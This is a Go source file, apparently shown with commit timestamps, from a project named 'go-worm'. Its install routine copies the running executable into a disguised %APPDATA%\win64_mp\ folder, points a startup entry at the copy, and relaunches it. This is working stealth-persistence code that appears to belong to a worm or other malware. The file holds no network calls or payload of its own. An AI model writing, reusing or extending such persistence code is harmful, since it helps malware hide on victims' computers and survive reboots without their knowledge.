2026-08-28 12:52:26 +03:00
|
|
|
package install
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"fmt"
|
|
|
|
|
"io"
|
|
|
|
|
"os"
|
|
|
|
|
"path/filepath"
|
|
|
|
|
"strings"
|
|
|
|
|
|
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
|
|
|
|
)
|
|
|
|
|
|
2026-08-28 13:30:12 +03:00
|
|
|
// Ensure copies the running exe into %APPDATA%\win64_mp\ when needed,
|
2026-08-28 12:52:26 +03:00
|
|
|
// refreshes an existing startup entry to that path, and re-launches from there.
|
|
|
|
|
func Ensure() error {
|
|
|
|
|
target, err := config.InstalledExe()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
current, err := os.Executable()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
current, err = filepath.Abs(current)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
target, err = filepath.Abs(target)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
if samePath(current, target) {
|
2026-09-01 23:12:22 +03:00
|
|
|
_ = syncStartup()
|
2026-08-28 12:52:26 +03:00
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if err := copyExe(current, target); err != nil {
|
|
|
|
|
if _, statErr := os.Stat(target); statErr != nil {
|
|
|
|
|
return fmt.Errorf("copy to %s: %w", target, err)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if err := syncStartup(); err != nil {
|
|
|
|
|
return fmt.Errorf("update startup path: %w", err)
|
|
|
|
|
}
|
|
|
|
|
|
2026-09-01 20:12:12 +03:00
|
|
|
return relaunchInstalled(target)
|
2026-08-28 12:52:26 +03:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func copyExe(from, to string) error {
|
|
|
|
|
if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
src, err := os.Open(from)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
defer src.Close()
|
|
|
|
|
|
|
|
|
|
dst, err := os.OpenFile(to, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
defer dst.Close()
|
|
|
|
|
|
|
|
|
|
if _, err := io.Copy(dst, src); err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func samePath(a, b string) bool {
|
|
|
|
|
a = filepath.Clean(a)
|
|
|
|
|
b = filepath.Clean(b)
|
|
|
|
|
return strings.EqualFold(a, b)
|
|
|
|
|
}
|